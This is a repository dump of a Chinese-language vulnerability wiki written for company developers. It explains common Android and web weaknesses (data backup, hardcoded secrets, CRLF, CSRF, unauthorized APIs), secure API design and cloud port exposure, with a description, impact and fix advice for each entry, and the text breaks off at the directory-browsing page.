├── .DS_Store ├── README.md ├── docs ├── .DS_Store ├── android │ ├── aes.md │ ├── allowbackup.md │ ├── debuggable.md │ ├── fanbianyi.md │ ├── info.md │ ├── integrity.md │ ├── keyboard.md │ ├── logcat.md │ ├── moniqi.md │ ├── proxy.md │ ├── root.md │ ├── sign.md │ └── sqliteinfo.md ├── db │ └── update.md ├── index.md ├── middleware │ └── update.md ├── setting │ ├── middleware.md │ ├── secapi.md │ └── secgroup.md └── web │ ├── .DS_Store │ ├── apiunauth.md │ ├── crlf.md │ ├── csrf.md │ ├── dirtraversal.md │ ├── ds_store.md │ ├── errorinfo.md │ ├── fileinclude.md │ ├── fileupload.md │ ├── git.md │ ├── hpp.md │ ├── oscommandexec.md │ ├── pay.md │ ├── sql.md │ ├── ssrf.md │ ├── ssti.md │ ├── svn.md │ ├── test.md │ ├── urlre.md │ ├── usercenter.md │ ├── weakpass.md │ ├── xss.md │ ├── xxe.md │ ├── yanzheng.md │ └── yuequan.md └── mkdocs.yml /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w2n1ck/vulwiki/b064154fe3ebda727bbfeaeaa03f0cd1ab622c84/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # vulwiki 2 | 常见漏洞知识库文档 3 | 4 | 在线阅读：https://vulwiki.readthedocs.io/ 5 | 6 | ### 0x00 介绍 7 | 8 | 该漏洞知识库使用 Mkdocs 生成文档，使用 Github 托管文档，使用 Read the Doc 发布文档。 9 | 10 | 该文档主要面向公司开发人员及公司目前所使用技术栈，方便开发人员了解漏洞原理及修复方法。 11 | 12 | 如有发现文档中存在描述错误、归类不当等其他问题，请与我联系。 13 | 14 | ------ 15 | ### 0x01 文档内容 16 | 17 | 目前主要覆盖公司已发现的漏洞，方便各位开发同学快速了解安全漏洞详情，并快速修复。 18 | 19 | 该文档包含常见的web漏洞、中间件漏洞、配置错误、安卓客户端等层面，主要说明字段有漏洞描述、漏洞常见应用场景、漏洞修复意见等， 20 | 21 | **声明：** 22 | 23 | 本文的均为作者手打，部分内容摘录自互联网，如有侵权请联系作者删除。 24 | 25 | ------ 26 | 27 | ### 0x02 关于作者 28 | 29 | **root@userInfo:~# whoami** 30 | 31 | ➡️ 瓦都尅 32 | 33 | **root@userInfo:~# cat find_me** 34 | 35 | ➡️ mail: admin@w2n1ck.com 36 | 37 | ➡️ weibo: 瓦都尅 38 | 39 | **root@userInfo:~# fim -a 安全泰式柑汁.jpg** 40 | 41 | ![img](http://www.w2n1ck.com/static/img/wxgzh.jpg) 42 | 43 | ------ 44 | 45 | -------------------------------------------------------------------------------- /docs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w2n1ck/vulwiki/b064154fe3ebda727bbfeaeaa03f0cd1ab622c84/docs/.DS_Store -------------------------------------------------------------------------------- /docs/android/aes.md: -------------------------------------------------------------------------------- 1 | # 通信加密 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 在开发应用程序时，最好将网络请求限制为必要的网络请求。对于必要的，请确保它们是通过HTTPS而不是HTTP制作的。HTTPS是一种加密流量的协议，因此窃听者无法轻易拦截它。 6 | 7 | 多年来，HTTPS协议已被多次利用。虽然可以使用HTTPS的方式保证与服务端加密传输，但是我们仍然可以通过网卡、wifi代理、Hook等方式劫持未加密的流量数据包。 8 | 9 | ## 0x02 漏洞危害 10 | 11 | 攻击者通过嗅探、中间人劫持等手段可获取到客户端与服务端的交互数据包，从而能够进行数据流量分析与篡改，进行进一步的攻击。 12 | 13 | ## 0x03 修复意见 14 | 15 | 通信加密需采用两种手段同时加固： 16 | 17 | ### 3.1 使用HTTPS加密传输 18 | 19 | ### 3.2 对数据包进行加密，比如使用AES等 -------------------------------------------------------------------------------- /docs/android/allowbackup.md: -------------------------------------------------------------------------------- 1 | # 任意数据备份 2 | 3 | ## 0x01 漏洞描述 4 | 5 | Android属性`allowBackup`安全风险源于`adb backup`允许任何一个能够打开USB 调试开关的人，从Android手机中复制应用数据到外设，一旦应用数据被备份之后，所有应用数据都可被用户读取，`adb restore`允许用户指定一个恢复的数据来源（即备份的应用数据）来恢复应用程序数据的创建。 6 | 7 | 因此，当一个应用数据被备份之后，用户即可在其他Android手机或模拟器上安装同一个应用，以及通过恢复该备份的应用数据到该设备上，在该设备上打开该应用即可恢复到被备份的应用程序的状态。 8 | 9 | ## 0x02 漏洞危害 10 | 11 | 当allowBackup标志为true时，用户即可通过adb backup和adb restore来进行对应用数据的备份和恢复。 12 | 13 | 尤其是通讯录应用，一旦应用程序支持备份和恢复功能，攻击者即可通过adb backup和adb restore进行恢复新安装的同一个应用来查看聊天记录等信息；对于支付金融类应用，攻击者可通过此来进行恶意支付、盗取存款等； 14 | 15 | ## 0x03 修复意见 16 | 17 | * 设置`android:allowBackup`值为false。 -------------------------------------------------------------------------------- /docs/android/debuggable.md: -------------------------------------------------------------------------------- 1 | # 程序可被调试 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 当在 `AndroidManifest.xml `文件中设置 `android:debuggable="true"`时，应用程序可以以调试模式启动，并被任意调试器附加调试。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 客户端若设置了可被动态调试时，增加了apk被破解、分析的风险。 10 | 11 | 目前动态调试器的功能都很强大，如果debuggable属性为true，则可轻易被调试，通常用于重要代码逻辑分析、破解付费功能等。 12 | 13 | ## 0x03 修复意见 14 | 15 | * 在应用发布时，不要将`android:debuggable`的值改为ture。 -------------------------------------------------------------------------------- /docs/android/fanbianyi.md: -------------------------------------------------------------------------------- 1 | # 反编译 2 | 3 | ## 0x01 漏洞描述 4 | 5 | APK文件是安卓工程打包的最终形式，将apk安装到手机或者模拟器上就可以使用APP。反编译apk则是将该安卓工程的源码、资源文件等内容破解出来进行分析。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 攻击者通过反编译可获取应用安卓客户端应用的源代码，攻击者可根据源代码获取对应接口信息，加密算法、密钥，以及一些硬编码在代码中的其他敏感信息，从而进行进一步攻击。 10 | 11 | ## 0x03 修复意见 12 | 13 | * 使用市面上安卓加固的厂商对安卓APP进行加固，比如360、梆梆等。 -------------------------------------------------------------------------------- /docs/android/info.md: -------------------------------------------------------------------------------- 1 | # 硬编码敏感信息 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 信息安全的基础在于密码学，而常用的密码学算法都是公开的，加密内容的保密依靠的是密钥的保密，密钥如果泄露，对于对称密码算法，根据用到的密钥算法和加密后的密文，很容易得到加密前的明文；对于非对称密码算法或者签名算法，根据密钥和要加密的明文，很容易获得计算出签名值，从而伪造签名。 6 | 7 | 若将加密密钥、数据库连接信息、后台信息等敏感信息硬编码在Java代码、文件中，将导致敏感信息泄漏，造成更大危害。 8 | 9 | ## 0x02 漏洞危害 10 | 11 | 硬编码敏感信息泄漏，造成的安全问题一般无法被轻易修正。例如： 12 | 13 | * 在代码中泄露利用未指定账户的硬编码密码，这样远程攻击者获取到敏感信息，可以通过访问数据库获得管理控制权限； 14 | * 本地用户可以通过读取配置文件中的硬编码用户名和密码来执行任意代码； 15 | 16 | ## 0x03 修复意见 17 | 18 | * 使用市面上安卓加固的厂商对安卓APP进行加固，比如360、梆梆等。 19 | * 使用DexGuard 20 | * 对敏感信息进行伪装或者加密 21 | * 敏感信息隐藏在原生函数库中(.so文件) 22 | 23 | 可参考下列文章： 24 | 25 | [Android安全开发之浅谈密钥硬编码](https://wooyun.js.org/drops/Android安全开发之浅谈密钥硬编码.html) 26 | 27 | [关于Android敏感信息](https://www.jianshu.com/p/e93f0ececb7d) -------------------------------------------------------------------------------- /docs/android/integrity.md: -------------------------------------------------------------------------------- 1 | # 应用完整性 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 客户端若未进行应用完整性校验，经二次打包后的Android APP，破解后植入恶意代码重新打包。不管从性能、用户体验、外观它都跟正规APP一模一样但是背后它确悄悄运行着可怕的程序，它会在不知不觉中浪费手机电量、流量，恶意扣费、偷窥隐私等等行为。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | - 插入自己广告或者删除原来广告； 10 | - 恶意代码，恶意扣费、木马等； 11 | - 修改原来支付逻辑； 12 | 13 | ## 0x03 修复意见 14 | 15 | * 在应用发布时使用360、梆梆等安全厂商进行安全加固。 16 | * 对签名文件中classes.dex哈希值的校验 17 | 18 | 可参考下列文章： 19 | 20 | [android APK安全性校验](https://www.jianshu.com/p/2ddd570cce6d) 21 | 22 | [Android防重签名和二次打包](https://www.jianshu.com/p/d058191b404a) 23 | 24 | [Android 应用防止被二次打包指南](https://segmentfault.com/a/1190000017112386) -------------------------------------------------------------------------------- /docs/android/keyboard.md: -------------------------------------------------------------------------------- 1 | # 键盘记录 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 在应用软件在运行时，用户在设备上的一举一动都将被详细记录下来，更多的是在使用者毫无觉察的情况下将屏幕内容以图片的形式、按键内容以文本文档的形式保存在指定的文件夹或发送到指定的邮箱。键盘记录，包括物理按键与软键盘的监控，通常监控的事件有：点击，长按，滑动等，这些时间在Android上表现出来的都是一系列的KeyEvent。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 客户端应用程序若未针对键盘记录保护增加相关安全策略，攻击者可将记录下来的键盘记录发送到指定邮箱或post到指定网页。 10 | 11 | ## 0x03 修复意见 12 | 13 | * 建议使用自定义随机的软键盘； 14 | 15 | * 对输入框打码处理 16 | 17 | -------------------------------------------------------------------------------- /docs/android/logcat.md: -------------------------------------------------------------------------------- 1 | # LogCat敏感信息 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 在 Android 中有一种名为 LogCat 的日志机制，不仅系统日志信息，还有应用日志信息也会输出到LogCat。 6 | 7 | 开发人员通常会通过打印出的日志信息来分析、定位问题。如果对外发布版本的时候，忘记关闭相关的日志打印。LogCat 中的日志信息可以从同一设备中的其他应用中读出，敏感信息不应输出到LogCat，因此向Logcat输出敏感信息的应用，被认为具有信息泄露的漏洞。 8 | 9 | ## 0x02 漏洞危害 10 | 11 | 攻击者通过调试可获取到logcat输出的敏感信息，造成敏感信息泄漏 12 | 13 | ## 0x03 修复意见 14 | 15 | * 在发行版应用中，最好不要输出任何日志。 16 | 17 | * 为了APP的错误采集，异常反馈，必要的日志如要被输出，需遵循安全编码规范将风险控制在最小范围内 18 | 19 | 20 | 21 | 具体代码及实现请参考： 22 | 23 | * [Android Logcat Security](http://drops.xmd5.com/static/drops/tips-3812.html) 24 | * [安卓应用安全指南 4.8 输出到 LogCat](https://juejin.im/entry/5ab5c63c51882555666fa3ba) 25 | 26 | -------------------------------------------------------------------------------- /docs/android/moniqi.md: -------------------------------------------------------------------------------- 1 | # 模拟器环境检测 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 安卓模拟器是一种可以运行在电脑上的虚拟设备，通过它可以实现应用的跨平台操作，让移动端APP无需任何改动即可在PC上执行。 6 | 7 | 模拟器作为一种虚拟机，配合改机工具，能够以较低成本实现设备多开，因此而备受黑灰产的青睐。 8 | 9 | ## 0x02 漏洞危害 10 | 11 | * 可利用PC端其他辅助工具完成对移动端应用的支持，如通过按键精灵完成自动挂机等操作。 12 | 13 | * 通过模拟器多开功能，零成本体验同时多部手机、多个账户开小黑屋，实现刷单、薅羊毛。 14 | * 通过模拟器虚拟定位伪造真实地理位置。 15 | * 。。。 16 | 17 | ## 0x03 修复意见 18 | 19 | 在客户端代码中增加模拟器检测代码。 20 | 21 | 模拟器的检测秉持一句话：抓取特征值与真机比较。 22 | 23 | 可参考下列文章： 24 | 25 | [Android模拟器检测体系梳理]([https://www.wireghost.cn/2018/05/10/Android%E6%A8%A1%E6%8B%9F%E5%99%A8%E6%A3%80%E6%B5%8B%E4%BD%93%E7%B3%BB%E6%A2%B3%E7%90%86/](https://www.wireghost.cn/2018/05/10/Android模拟器检测体系梳理/)) 26 | 27 | [检测Android虚拟机的方法和代码实现](https://bbs.pediy.com/thread-225717.htm) 28 | -------------------------------------------------------------------------------- /docs/android/proxy.md: -------------------------------------------------------------------------------- 1 | # 代理环境检测 2 | 3 | ## 0x01 漏洞描述 4 | 5 | APP客户端通过宿主机与服务器进行流量交互，攻击者可通过设置Wi-Fi、网卡代理进行中间人劫持，抓取通信过程中的流量包，进行进一步分析利用。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | 攻击者可利用Charles、fiddler、BurpSuite等抓包工具，抓包分析网络流量及api接口信息，从而进一步分析相关接口、参数等安全问题。 10 | 11 | ## 0x03 修复意见 12 | 13 | * 检查是不是用了Http代理，如果是，客户端不发送网络请求； 14 | * 通过Okhttp设置默认代理； 15 | 16 | 代码可参考： 17 | 18 | [Android检测代理](https://www.bbsmax.com/A/Vx5Mq0Dv5N/) -------------------------------------------------------------------------------- /docs/android/root.md: -------------------------------------------------------------------------------- 1 | # Root环境检测 2 | 3 | ## 0x01 漏洞描述 4 | 5 | Android安全架构是基于Linux多用户机制的访问控制。在Linux操作系统中，root的权限是最高的，也被称为超级权限的拥有者。在系统中，每个文件、目录和进程，都归属于某一个用户，没有用户许可其它普通用户是无法操作的，但对root除外。 6 | 7 | root用户的特权性还表现在： 8 | 9 | * 对文件或目录进行读取、修改或删除； 10 | * 对可执行程序的执行、终止； 11 | * 对硬件设备的添加、创建和移除等； 12 | * 对文件和目录进行属主和权限进行修改，以适合系统管理的需要； 13 | * root是超越任何用户和用户组的，基于用户ID的权限机制的沙盒是无法隔离的。 14 | 15 | ## 0x02 漏洞危害 16 | 17 | 攻击者可在root的终端上对应用程序进行动态调试、内存访问篡改、Hook应用程序与服务端交互流量等。 18 | 19 | ## 0x03 修复意见 20 | 21 | ### 3.1 查看系统是否为测试版 22 | 23 | 可以查看发布的系统版本，是test-keys（测试版），还是release-keys（发布版）。 24 | 25 | 可是在实际情况下，也有某些厂家的正式发布版本也是test-keys 26 | 27 | ### 3.2 检查是否存在Superuser.apk 28 | 29 | Superuser.apk是一个被广泛使用的用来root安卓设备的软件，所以可以检查这个app是否存在。 30 | 31 | ### 3.3 检查su命令 32 | 33 | su是Linux下切换用户的命令，在使用时不带参数，就是切换到超级用户。通常我们获取root权限，就是使用su命令来实现的，所以可以检查这个命令是否存在。 34 | 35 | ### 3.4 执行busybox 36 | 37 | BusyBox集成压缩了 Linux 的许多工具和命令，所以若设备root了，很可能Busybox也被安装上了。 38 | 39 | ### 3.5 访问/data目录，查看读写权限 40 | 41 | 在Android系统中，有些目录是普通用户不能访问的，例如 `/data`、`/system`、`/etc `等。 42 | 43 | 可以以`/data`为例，来进行读写访问。先写入一个文件，然后读出，查看内容是否匹配，若匹配，才认为系统已经root了。 44 | 45 | 46 | 47 | 具体代码可参考： 48 | 49 | [Android root检测方法小结](https://blog.csdn.net/lintax/article/details/70988565) 50 | 51 | -------------------------------------------------------------------------------- /docs/android/sign.md: -------------------------------------------------------------------------------- 1 | # 安装包签名 2 | 3 | ## 0x01 漏洞描述 4 | 5 | Android系统要求安装的应用必须用数字证书进行签名后才能安装，并且签名证书的私钥由应用开发者保存。签名证书的生成也由开发者自己生成。在应用安装时会校验包名（package name）和签名，如果系统中已经存在了一个相同的包名和签名的应用，将会用新安装的应用替换旧的；如果包名相同但是签名不同，则会安装失败。 6 | 7 | 应用签名完后在应用的META-INF目录下会有三个文件： CERT.RSA、CERT.SF和MANIFEST.MF。 8 | 9 | MANIFEST.MF中保存了所有其他文件的SHA1摘要并base64编码后的值。 10 | 11 | CERT.SF文件是对MANIFEST.MF文件中的每项中的每行加上“\r\n”后，再次SHA1摘要并base64编码后的值（这是为了防止通过篡改文件和其在MANIFEST.MF中对应的SHA1摘要值来篡改APK，要对MANIFEST的内容再进行一次数字摘要）。 12 | 13 | CERT.RSA文件：包含了签名证书的公钥信息和发布机构信息。 14 | ## 0x02 漏洞危害 15 | 16 | 签名信息中包含的组织信息，将便于用户识别安装包的真伪。 17 | 18 | ## 0x03 修复意见 19 | 20 | * 在应用程序发布时使用企业签名对安装包进行签名。 -------------------------------------------------------------------------------- /docs/android/sqliteinfo.md: -------------------------------------------------------------------------------- 1 | # SQLite敏感信息 2 | 3 | ## 0x01 漏洞描述 4 | 5 | ndroid中有些时候会将一些隐私数据存放在sqlite数据库中，在root过的手机中通过RE就能够轻松的打开并查看数据库所有内容。 6 | 7 | ## 0x02 漏洞危害 8 | 9 | SQLite不支持加密，应用中重要的数据、账号密码等容易被泄露。 10 | 11 | ## 0x03 修复意见 12 | 13 | ### 3.1 加密数据库内容 14 | 15 | 在存储数据时加密内容，在查询时进行解密。但是这种方式不能彻底加密，数据库的表结构等信息还是能被查看到，另外检索数据也是一个问题。 16 | 17 | ### 3.2 加密数据库文件 18 | 19 | 借助SQLCipher。SQLCipher是一个在SQLite基础之上进行扩展的开源数据库，它主要是在SQLite的基础之上增加了数据加密功能。 20 | 21 | * 加密性能高、开销小，只要5-15%的开销用于加密 22 | * 完全做到数据库100%加密 23 | * 采用良好的加密方式（CBC加密模式） 24 | * 使用方便，做到应用级别加密 25 | * 采用OpenSSL加密库提供的算法 -------------------------------------------------------------------------------- /docs/db/update.md: -------------------------------------------------------------------------------- 1 | 更新中... -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | ### 0x00 介绍 2 | 3 | 该漏洞知识库使用 Mkdocs 生成文档，使用 Github 托管文档，使用 Read the Doc 发布文档。 4 | 5 | 该文档主要面向公司开发人员及公司目前所使用技术栈，方便开发人员了解漏洞原理及修复方法。 6 | 7 | 如有发现文档中存在描述错误、归类不当等其他问题，请与我联系。 8 | 9 | ------ 10 | ### 0x01 文档内容 11 | 12 | 目前主要覆盖公司已发现的漏洞，方便各位开发同学快速了解安全漏洞详情，并快速修复。 13 | 14 | 该文档包含常见的web漏洞、中间件漏洞、配置错误、安卓客户端等层面，主要说明字段有漏洞描述、漏洞常见应用场景、漏洞修复意见等， 15 | 16 | **声明：** 17 | 18 | 本文的均为作者手打，部分内容摘录自互联网，如有侵权请联系作者删除。 19 | 20 | ------ 21 | -------------------------------------------------------------------------------- /docs/middleware/update.md: -------------------------------------------------------------------------------- 1 | 更新中... -------------------------------------------------------------------------------- /docs/setting/middleware.md: -------------------------------------------------------------------------------- 1 | # 第三方组件 2 | 3 | ![更新完善中。。。](http://image.dbbqb.com/028mQ) 4 | 5 | -------------------------------------------------------------------------------- /docs/setting/secapi.md: -------------------------------------------------------------------------------- 1 | # 如何设计一个安全的对外接口? 2 | 3 | ## 0x01 前言 4 | 5 | 大部分的业务系统需要提供公网域名进行访问，若涉及用户、交易、订单等有关接口，那么接口的安全性就相当重要了。 6 | 7 | ## 0x02 安全需求 8 | 9 | 在设计、建模初期主要思考下列两个方面的问题： 10 | 11 | * 如何保证数据在传输过程中的安全性？ 12 | * 数据在到达服务端后，服务端如何识别数据，如何不被攻击？ 13 | 14 | ## 0x03 安全方案 15 | 16 | ### 3.1 数据加密 17 | 18 | 我们都知道数据在传输的过程中是很容易被中间人劫持抓包的，如果直接传输比如通过http协议，那么用户传输的数据可以被任何人获取。 19 | 20 | 所以必须对数据加密，常见的做法有： 21 | 22 | * 对关键字段加密比如密码通过md5等手段处理； 23 | * 使用https协议，在http和tcp之间添加一层加密层(SSL层)，这一层负责数据的加密和解密； 24 | 25 | ### 3.2 数据签名 26 | 27 | 数据签名是指由客户端根据发送的数据包参数、数据等，产生一段无法伪造的一段字符串，到达服务端后经服务端进行解析处理，以此来保证数据在传输过程中不被篡改。 28 | 29 | **注：** 30 | 31 | 这里特殊提一下，好多人有疑问：“不是说https就对数据进行了加密了嘛？使用了ssl就可以保证传输过程的安全性了嘛？” 32 | 33 | 数据包通过TLS/SSL加密后，理论上就算被抓包，也无法对数据进行篡改。但是我们要知道加密的部分其实只是在客户端和服务端的数据传输过程中，也就是说客户端和服务端是直接交互的，假如客户端在本地安装了某个中间人代理的证书，那么客户端与服务端的通信就变成了“客户端->代理服务器”->“代理服务器->服务端”两段HTTPS通道，然后中间人代理获得Client消息后先解密后再重新加密，然后代替客户端发给服务端，这样中间代理服务器就能获取到明文数据包了。 34 | 35 | ### 3.3 时间戳机制 36 | 37 | 数据包在经过数据签名时通常需要添加一个随机值来保证数据包的唯一性，随机值通常采用当前时间的时间戳。 38 | 39 | 在每次HTTP请求，都加上timestamp参数，然后把timestamp和其他参数一起进行数字签名。因为一次正常的HTTP请求，从发出到达服务器一般都不会超过60s，所以服务器收到HTTP请求之后，首先判断时间戳参数与当前时间相比较，是否超过了60s，如果超过了则大致可以认为是非法的请求。 40 | 41 | 一般情况下，黑客从抓包重放请求耗时远远超过了60s，所以，此时请求中的timestamp参数已经失效了。如果黑客修改timestamp参数为当前的时间戳，则signature参数对应的数字签名就会失效，因为黑客不知道签名秘钥，没有办法生成新的数字签名。 42 | 43 | ### 3.4 AppID校验 44 | 45 | 对于部分业务功能来说，并不是谁都能使用的，大部分网站基本都需要用户名和密码才能登录，这是一种有效的验证请求合法性的安全机制；对应的对外提供的接口其实也需要这么一种机制，并不是谁都可以调用，需要使用接口的用户需要在后台开通appid，提供给用户相关的密钥；在调用的接口中需要提供appid+密钥，服务器端会进行相关的验证。 46 | 47 | ### 3.5 限流机制 48 | 49 | 如果商户的appid和密码泄漏，被恶意用户非法利用，就有可能出现频繁调用接口的情况；这种情况需要给相关appid做限流处理，常用的限流算法有令牌桶和漏桶算法。 50 | 51 | ### 3.6 黑名单机制 52 | 53 | 如果此appid进行过很多非法操作，经过分析之后直接将此appid列入黑名单，所有请求直接返回错误码。 54 | 55 | ### 3.7 数据合法性校验 56 | 57 | 数据合法性校验是每个系统都会有的校验、处理机制，只有在数据是合法的情况下才会进行数据处理。 58 | 59 | 每个系统都有自己的验证规则，当然也可能有一些常规性的规则，比如参数的长度、参数的类型，参数的业务场景合法性等。 60 | -------------------------------------------------------------------------------- /docs/setting/secgroup.md: -------------------------------------------------------------------------------- 1 | # 安全组 2 | 3 | ## 概述 4 | 5 | 安全组是一种虚拟防火墙，具备状态检测和数据包过滤能力，用于在云端划分安全域。通过配置安全组规则，您可以控制安全组内ECS实例的入流量和出流量。 6 | 7 | ## 安全组特点 8 | 9 | 安全组由同一个地域内具有相同安全保护需求并相互信任的ECS实例组成。安全组具有以下功能特点： 10 | 11 | - 每台ECS实例至少属于一个安全组，可以同时加入多个安全组。 12 | - 一个安全组可以管理多台ECS实例。 13 | - 同一安全组内的ECS实例之间默认内网互通。 14 | - 在没有设置允许访问的安全组规则的情况下，不同安全组内的ECS实例默认内网不通。 15 | - （仅普通安全组）可以通过安全组规则授权两个安全组之间互访。 16 | - 安全组支持有状态应用。一个有状态的会话连接中，会话的最长保持时间是910秒。安全组会默认放行同一会话中的通信。例如，在会话期内，如果连接的数据包在入方向是允许的，则在出方向也是允许的。 17 | 18 | ![](http://blog.w2n1ck.com/warning.png) 19 | 20 | #### 公司业务除了提供80和443对外访问外，建议安全组屏蔽其他所有端口。 21 | 22 | #### 如需对外使用，比如SSH，采用白名单IP方式。 23 | 24 | #### 对外暴露敏感端口存在爆破、挖矿、写入恶意代码、对外DDoS、勒索病毒等高危风险。具有极大安全风险！ 25 | 26 | 常用端口存在风险，如下表： 27 | 28 | | 端口 | 服务 | 风险 | 29 | | :---: | :-----------: | :----------------------------------- | 30 | | 21 | FTP | 匿名访问；口令爆破；上传恶意文件； | 31 | | 22 | SSH | 口令爆破；命令执行；挖矿 | 32 | | 23 | telnet | 口令爆破；命令执行； | 33 | | 389 | ldap | 口令爆破；未授权访问； | 34 | | 873 | rsync | 未授权访问 | 35 | | 1099 | rmi | 命令执行；挖矿 | 36 | | 1433 | mssql | 口令爆破；命令执行；挖矿 | 37 | | 2049 | nfs | 未授权访问 | 38 | | 2181 | zookeeper | 未授权访问 | 39 | | 2375 | docker | 未授权访问；命令执行；挖矿 | 40 | | 2379 | etcd | 未授权访问 | 41 | | 3306 | mysql | 口令爆破；命令执行；挖矿 | 42 | | 5900 | vnc | 口令爆破；未授权访问 | 43 | | 6379 | redis | 口令爆破；未授权访问；命令执行；挖矿 | 44 | | 8069 | zabbix | 未授权访问；SQL注入；命令执行 | 45 | | 9000 | php-fpm | 未授权访问；命令执行；挖矿 | 46 | | 9001 | supervisor | 命令执行；挖矿 | 47 | | 9200 | elasticsearch | 未授权访问；命令执行 | 48 | | 9999 | rmi | 命令执行；挖矿 | 49 | | 11211 | memcache | 未授权访问；DDoS | 50 | | 27017 | mongodb | 口令爆破；未授权访问 | 51 | | 50070 | Hadoop | 未授权访问；命令执行；挖矿 | 52 | | 61616 | Activemq | 口令爆破；未授权访问；命令执行 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /docs/web/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w2n1ck/vulwiki/b064154fe3ebda727bbfeaeaa03f0cd1ab622c84/docs/web/.DS_Store -------------------------------------------------------------------------------- /docs/web/apiunauth.md: -------------------------------------------------------------------------------- 1 | # API Unauthorized 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 接口未授权访问，顾名思义在不进行请求授权的情况下，能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 最常见的应用场景为后台某些API接口在不登录系统的情况，直接请求对应的URI即可访问、操作该接口。 10 | 11 | 攻击者最常见的攻击途径主要有如下： 12 | 13 | 1. 通过目录扫描工具加载目录字典探测 14 | 2. 通过模糊测试URI中的参数进行探测 15 | 3. 通过前端静态文件，比如JS、webpack等查找 16 | 17 | ## 0x03 漏洞危害 18 | 19 | * 攻击者可在没有认证的情况下直接操作对应的API接口，可直接被非法增删改次数据。 20 | * 因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 21 | 22 | ## 0x04 修复建议 23 | 24 | 1. 对于后台接口，确保所有API接口先经过登录控制器。 25 | 2. 在验证用户身份权限前不进行任何数据的交互。 -------------------------------------------------------------------------------- /docs/web/crlf.md: -------------------------------------------------------------------------------- 1 | # CRLF Injection 2 | 3 | ## 0x01 漏洞描述 4 | 5 | CRLF是`回车 + 换行`（`\r\n`）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 根据CRLF漏洞原理我们知道，CRLF主要是向HTTP响应头中注入了恶意代码，那么业务场景中往HTTP响应头中写入数据的地方就有可能存在CRLF漏洞，比如最常见的重定向处 10 | 11 | ``` 12 | HTTP/1.1 302 Moved Temporarily 13 | Date: Tue, 24 Dec 2019 11:05:15 GMT 14 | Content-Type: text/html 15 | Connection: close 16 | Location: https://www.baidu.com 17 | ``` 18 | 19 | ## 0x03 漏洞危害 20 | 21 | 1. 通过在响应头中设置一个SESSION，即可造成一个“会话固定漏洞”； 22 | 2. 通过向响应头中注入恶意配置，即可造成一个无视浏览器Filter的反射型XSS； 23 | 3. 跳转劫持； 24 | 4. 通过注入html代码可以进行钓鱼； 25 | 26 | ## 0x04 修复建议 27 | 28 | * 在设置HTTP响应头的代码中，过滤回车、换行（`%0d`，`%0a`，`%0D`，`%0A`)等字符，避免输入的数据污染到其他HTTP头。 29 | * 对参数做合法性校验以及长度限制。 -------------------------------------------------------------------------------- /docs/web/csrf.md: -------------------------------------------------------------------------------- 1 | # CSRF 2 | 3 | ## 0x01 漏洞描述 4 | 5 | CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。攻击者通过伪造来自受信任用户的请求，达到增加、删除、篡改网站内容的目的。 6 | 7 | ## 0x02 常见应用场景 8 | 9 | 一个成功的CSRF漏洞攻击的场景，需要由"三个部分"来构成。 10 | 11 | 1. 有一个没有进行二次校验措施的前台或后台的数据修改、新增、删除等数据交互请求的漏洞存在； 12 | 2. 伪装数据操作请求的恶意链接或者页面； 13 | 3. 诱使用户主动访问、点击恶意链接，触发非法操作； 14 | 15 | ## 0x03 漏洞危害 16 | 17 | CSRF漏洞是借助受害者的cookie来进行攻击者想要的恶意操作，攻击者并不是拿到了受害者cookie，对于服务器返回的结果也无法解析查看，攻击者的攻击就是让服务器执行了自己想要的操作指令或业务流程。 18 | 19 | 最常见的攻击场景为：攻击者冒充用户/管理员伪造请求，进行网页篡改；用户修改、添加用户、密码修改；发送帖子、消息等非法操作。 20 | 21 | ## 0x04 修复意见 22 | 23 | 1. 验证HTTP Referer字段； 24 | 2. 关键业务操作使用图形验证码进行二次确认验，只接受 POST 请求，GET请求应只浏览而不改变服务器端资源； 25 | 3. 过滤用户输入，不允许发布含有站内操作URL的链接； 26 | 4. 增加csrftoken验证，csrftoken可以在用户登陆后产生并放于 session 之中，然后在每次请求时把csrftoken从 session 中拿出，与请求中的csrftoken进行比对。对于GET请求，csrftoken将附在请求地址之后，对于POST请求来说，要在form的最后加上 ``； 27 | 5. 在 HTTP 头中自定义属性并验证，该方法同csrftoken，同为随机值校验，但是这里并不是把csrftoken以参数的形式置于HTTP请求之中，而是把它放到 HTTP头中自定义的属性里； 28 | 6. 在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。 29 | -------------------------------------------------------------------------------- /docs/web/dirtraversal.md: -------------------------------------------------------------------------------- 1 | # Directory Browsing 2 | 3 | ## 0x01 漏洞描述 4 | 5 | 